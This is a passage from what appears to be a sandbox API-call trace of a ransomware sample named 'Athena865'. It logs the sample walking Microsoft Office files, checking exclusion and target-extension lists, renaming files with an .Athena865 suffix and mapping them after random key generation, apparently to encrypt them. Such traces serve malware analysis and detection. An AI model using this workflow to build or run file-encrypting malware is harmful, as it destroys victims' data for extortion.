(hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a50) returned 0x100000 [0080.774] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.775] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.775] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.775] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.776] CloseHandle (hObject=0x17c) returned 1 [0080.776] CloseHandle (hObject=0x154) returned 1 [0080.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.777] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2=".") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="..") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="windows") returned -1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="bootmgr") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="temp") returned -1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="pagefile.sys") returned -1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="boot") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="ids.txt") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="ntuser.dat") returned 1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="perflogs") returned -1 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2="MSBuild") returned 1 [0080.777] lstrlenW (lpString="OLKIRMV.XML") returned 11 [0080.777] lstrcpyW (in: lpString1=0x241e89e, lpString2="OLKIRMV.XML" | out: lpString1="OLKIRMV.XML") returned="OLKIRMV.XML" [0080.777] lstrlenW (lpString="OLKIRMV.XML") returned 11 [0080.777] lstrlenW (lpString="Athena865") returned 9 [0080.777] lstrcmpiW (lpString1="KIRMV.XML", lpString2="Athena865") returned 1 [0080.777] lstrlenW (lpString=".dll") returned 4 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2=".dll") returned 1 [0080.777] lstrlenW (lpString=".lnk") returned 4 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2=".lnk") returned 1 [0080.777] lstrlenW (lpString=".ini") returned 4 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2=".ini") returned 1 [0080.777] lstrlenW (lpString=".sys") returned 4 [0080.777] lstrcmpiW (lpString1="OLKIRMV.XML", lpString2=".sys") returned 1 [0080.777] lstrlenW (lpString="OLKIRMV.XML") returned 11 [0080.777] lstrlenW (lpString="bak") returned 3 [0080.777] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0080.777] lstrlenW (lpString="ba_") returned 3 [0080.777] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0080.778] lstrlenW (lpString="dbb") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0080.778] lstrlenW (lpString="vmdk") returned 4 [0080.778] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0080.778] lstrlenW (lpString="rar") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0080.778] lstrlenW (lpString="zip") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0080.778] lstrlenW (lpString="tgz") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0080.778] lstrlenW (lpString="vbox") returned 4 [0080.778] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0080.778] lstrlenW (lpString="vdi") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0080.778] lstrlenW (lpString="vhd") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0080.778] lstrlenW (lpString="vhdx") returned 4 [0080.778] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0080.778] lstrlenW (lpString="avhd") returned 4 [0080.778] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0080.778] lstrlenW (lpString="db") returned 2 [0080.778] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0080.778] lstrlenW (lpString="db2") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0080.778] lstrlenW (lpString="db3") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0080.778] lstrlenW (lpString="dbf") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0080.778] lstrlenW (lpString="mdf") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0080.778] lstrlenW (lpString="mdb") returned 3 [0080.778] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0080.778] lstrlenW (lpString="sql") returned 3 [0080.779] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0080.779] lstrlenW (lpString="sqlite") returned 6 [0080.779] lstrcmpiW (lpString1="MV.XML", lpString2="sqlite") returned -1 [0080.779] lstrlenW (lpString="sqlite3") returned 7 [0080.779] lstrcmpiW (lpString1="RMV.XML", lpString2="sqlite3") returned -1 [0080.779] lstrlenW (lpString="sqlitedb") returned 8 [0080.779] lstrcmpiW (lpString1="IRMV.XML", lpString2="sqlitedb") returned -1 [0080.779] lstrlenW (lpString="xml") returned 3 [0080.779] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0080.779] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.Athena865") returned 64 [0080.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.athena865"), dwFlags=0x1) returned 1 [0080.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.780] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79252) returned 1 [0080.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.781] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.781] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.781] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.782] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138a0, lpName=0x0) returned 0x17c [0080.783] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138a0) returned 0x100000 [0080.787] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.787] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.788] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.788] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.789] CloseHandle (hObject=0x17c) returned 1 [0080.789] CloseHandle (hObject=0x154) returned 1 [0080.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.790] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2=".") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="..") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="windows") returned -1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="bootmgr") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="temp") returned -1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="pagefile.sys") returned -1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="boot") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="ids.txt") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="ntuser.dat") returned 1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="perflogs") returned -1 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2="MSBuild") returned 1 [0080.790] lstrlenW (lpString="OLMAPI32.DLL") returned 12 [0080.790] lstrcpyW (in: lpString1=0x241e89e, lpString2="OLMAPI32.DLL" | out: lpString1="OLMAPI32.DLL") returned="OLMAPI32.DLL" [0080.790] lstrlenW (lpString="OLMAPI32.DLL") returned 12 [0080.790] lstrlenW (lpString="Athena865") returned 9 [0080.790] lstrcmpiW (lpString1="API32.DLL", lpString2="Athena865") returned -1 [0080.790] lstrlenW (lpString=".dll") returned 4 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2=".dll") returned 1 [0080.790] lstrlenW (lpString=".lnk") returned 4 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2=".lnk") returned 1 [0080.790] lstrlenW (lpString=".ini") returned 4 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2=".ini") returned 1 [0080.790] lstrlenW (lpString=".sys") returned 4 [0080.790] lstrcmpiW (lpString1="OLMAPI32.DLL", lpString2=".sys") returned 1 [0080.790] lstrlenW (lpString="OLMAPI32.DLL") returned 12 [0080.790] lstrlenW (lpString="bak") returned 3 [0080.790] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.790] lstrlenW (lpString="ba_") returned 3 [0080.790] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.791] lstrlenW (lpString="dbb") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.791] lstrlenW (lpString="vmdk") returned 4 [0080.791] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.791] lstrlenW (lpString="rar") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.791] lstrlenW (lpString="zip") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.791] lstrlenW (lpString="tgz") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.791] lstrlenW (lpString="vbox") returned 4 [0080.791] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.791] lstrlenW (lpString="vdi") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.791] lstrlenW (lpString="vhd") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.791] lstrlenW (lpString="vhdx") returned 4 [0080.791] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.791] lstrlenW (lpString="avhd") returned 4 [0080.791] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.791] lstrlenW (lpString="db") returned 2 [0080.791] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.791] lstrlenW (lpString="db2") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.791] lstrlenW (lpString="db3") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.791] lstrlenW (lpString="dbf") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.791] lstrlenW (lpString="mdf") returned 3 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.791] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.792] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.Athena865") returned 65 [0080.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll.athena865"), dwFlags=0x1) returned 1 [0080.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.793] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4500352) returned 1 [0080.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.793] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.794] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.794] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.794] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44ae80, lpName=0x0) returned 0x17c [0080.795] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x4ae80) returned 0x2d50000 [0080.812] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0080.908] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.909] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.909] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.909] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.912] CloseHandle (hObject=0x17c) returned 1 [0080.912] CloseHandle (hObject=0x154) returned 1 [0080.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.927] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e85b00, ftCreationTime.dwHighDateTime=0x1c9e5a5, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e85b00, ftLastWriteTime.dwHighDateTime=0x1c9e5a5, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2=".") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="..") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="windows") returned -1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="bootmgr") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="temp") returned -1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="pagefile.sys") returned -1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="boot") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="ids.txt") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="ntuser.dat") returned 1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="perflogs") returned -1 [0080.927] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2="MSBuild") returned 1 [0080.927] lstrlenW (lpString="OMML2MML.XSL") returned 12 [0080.927] lstrcpyW (in: lpString1=0x241e89e, lpString2="OMML2MML.XSL" | out: lpString1="OMML2MML.XSL") returned="OMML2MML.XSL" [0080.927] lstrlenW (lpString="OMML2MML.XSL") returned 12 [0080.927] lstrlenW (lpString="Athena865") returned 9 [0080.927] lstrcmpiW (lpString1="L2MML.XSL", lpString2="Athena865") returned 1 [0080.927] lstrlenW (lpString=".dll") returned 4 [0080.928] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2=".dll") returned 1 [0080.928] lstrlenW (lpString=".lnk") returned 4 [0080.928] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2=".lnk") returned 1 [0080.928] lstrlenW (lpString=".ini") returned 4 [0080.928] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2=".ini") returned 1 [0080.928] lstrlenW (lpString=".sys") returned 4 [0080.928] lstrcmpiW (lpString1="OMML2MML.XSL", lpString2=".sys") returned 1 [0080.928] lstrlenW (lpString="OMML2MML.XSL") returned 12 [0080.928] lstrlenW (lpString="bak") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="bak") returned 1 [0080.928] lstrlenW (lpString="ba_") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="ba_") returned 1 [0080.928] lstrlenW (lpString="dbb") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="dbb") returned 1 [0080.928] lstrlenW (lpString="vmdk") returned 4 [0080.928] lstrcmpiW (lpString1=".XSL", lpString2="vmdk") returned -1 [0080.928] lstrlenW (lpString="rar") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="rar") returned 1 [0080.928] lstrlenW (lpString="zip") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="zip") returned -1 [0080.928] lstrlenW (lpString="tgz") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="tgz") returned 1 [0080.928] lstrlenW (lpString="vbox") returned 4 [0080.928] lstrcmpiW (lpString1=".XSL", lpString2="vbox") returned -1 [0080.928] lstrlenW (lpString="vdi") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="vdi") returned 1 [0080.928] lstrlenW (lpString="vhd") returned 3 [0080.928] lstrcmpiW (lpString1="XSL", lpString2="vhd") returned 1 [0080.928] lstrlenW (lpString="vhdx") returned 4 [0080.928] lstrcmpiW (lpString1=".XSL", lpString2="vhdx") returned -1 [0080.928] lstrlenW (lpString="avhd") returned 4 [0080.928] lstrcmpiW (lpString1=".XSL", lpString2="avhd") returned -1 [0080.929] lstrlenW (lpString="db") returned 2 [0080.929] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0080.929] lstrlenW (lpString="db2") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="db2") returned 1 [0080.929] lstrlenW (lpString="db3") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="db3") returned 1 [0080.929] lstrlenW (lpString="dbf") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="dbf") returned 1 [0080.929] lstrlenW (lpString="mdf") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="mdf") returned 1 [0080.929] lstrlenW (lpString="mdb") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="mdb") returned 1 [0080.929] lstrlenW (lpString="sql") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="sql") returned 1 [0080.929] lstrlenW (lpString="sqlite") returned 6 [0080.929] lstrcmpiW (lpString1="ML.XSL", lpString2="sqlite") returned -1 [0080.929] lstrlenW (lpString="sqlite3") returned 7 [0080.929] lstrcmpiW (lpString1="MML.XSL", lpString2="sqlite3") returned -1 [0080.929] lstrlenW (lpString="sqlitedb") returned 8 [0080.929] lstrcmpiW (lpString1="2MML.XSL", lpString2="sqlitedb") returned -1 [0080.929] lstrlenW (lpString="xml") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="xml") returned 1 [0080.929] lstrlenW (lpString="$er") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="$er") returned 1 [0080.929] lstrlenW (lpString="4dd") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="4dd") returned 1 [0080.929] lstrlenW (lpString="4dl") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="4dl") returned 1 [0080.929] lstrlenW (lpString="^^^") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="^^^") returned 1 [0080.929] lstrlenW (lpString="abs") returned 3 [0080.929] lstrcmpiW (lpString1="XSL", lpString2="abs") returned 1 [0080.929] lstrlenW (lpString="abx") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="abx") returned 1 [0080.930] lstrlenW (lpString="accdb") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accdb") returned 1 [0080.930] lstrlenW (lpString="accdc") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accdc") returned 1 [0080.930] lstrlenW (lpString="accde") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accde") returned 1 [0080.930] lstrlenW (lpString="accdr") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accdr") returned 1 [0080.930] lstrlenW (lpString="accdt") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accdt") returned 1 